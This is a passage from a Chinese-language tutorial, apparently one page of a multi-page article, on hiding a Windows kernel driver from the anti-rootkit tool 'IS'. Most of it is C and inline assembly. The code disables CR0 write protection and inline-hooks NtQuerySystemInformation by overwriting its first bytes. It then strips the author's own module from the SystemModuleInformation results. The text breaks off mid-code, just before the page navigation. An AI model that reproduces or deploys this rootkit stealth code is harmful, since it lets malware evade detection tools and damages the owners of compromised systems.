//把构造好的代码进心替换
                mov edi, OldNtQuerySystemInformation
                mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                mov dword ptr[edi], eax
                mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                mov word ptr[edi+4], ax
                popad
            }
            _asm //开中断
            {
                MOV    EAX, CR0     
                OR    EAX, 10000H         
                MOV    CR0, EAX              
                STI                   
            }
            Status = RepairNtosFile(
                            (DWORD)OldNtQuerySystemInformation,
                            (DWORD)(&CrackCodeNtQuerySystemInformation) );

            return Status;

}

四、隐藏内核模块

    对于内核模块，我原以为IS会通过获取内核变量PsLoadedModuleList，然后在通过这个来遍历所有的内核模块。假设此时获得结果1。通过调用函数NtQuerySystemInformation，参数SystemModuleInformation，假设此时获得结果2。再把结果1与结果2进行比较，这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果2的过程。而没有去执行获取结果1的过程。

    下面的代码可以在IS下隐藏自己的内核模块，主要思路是，首先获取一个自己这个模块中任意函数的地址，把该地址给DriverAddr，利用DriverAddr在上述的结果2中定位，通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。

DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

  IN ULONG        SystemInformationClass,
  OUT PVOID        SystemInformation,
  IN ULONG        SystemInformationLength,
  OUT PULONG        ReturnLength OPTIONAL  );

NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

NTSTATUS NewNtQuerySystemInformation(

  IN ULONG        SystemInformationClass,
  OUT PVOID        SystemInformation,
  IN ULONG        SystemInformationLength,
  OUT PULONG        ReturnLength OPTIONAL )
{
    NTSTATUS Status;

        _asm  //还原
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }
       
        Status = ZwQuerySystemInformation (
                            SystemInformationClass,
                            SystemInformation,
                            SystemInformationLength,
                            ReturnLength OPTIONAL );
        _asm //替换
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }

        if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )  //是否是获取模块信息
        {
            return Status; 
        }

        _asm
        {
            pushad

            mov edi, SystemInformation
            mov ecx, [edi]            //eax=模块数目
            add edi, 0x4

NextModuleInfo:

            mov eax, [edi+0x8]   
            mov edx, [edi+0xC] 
           
            add edx, eax   
            mov ebx, DriverAddr

            cmp ebx, eax
            ja    FirstMatch
            dec ecx
            test ecx, ecx
            jz  ArrayEnd

            add edi, 0x11c
            jmp NextModuleInfo

FirstMatch:
            cmp ebx, edx
            jb SecMatch    //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块

            dec ecx
            test ecx, ecx
            jz  ArrayEnd
            add edi, 0x11c
            jmp NextModuleInfo
SecMatch:
            dec ecx
            xor eax, eax
            mov ax, 0x11c
            mul cx
            xor ecx, ecx
            mov ecx, eax
            mov esi, edi
            add esi, 0x11c
          &n

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ... 下一页  >>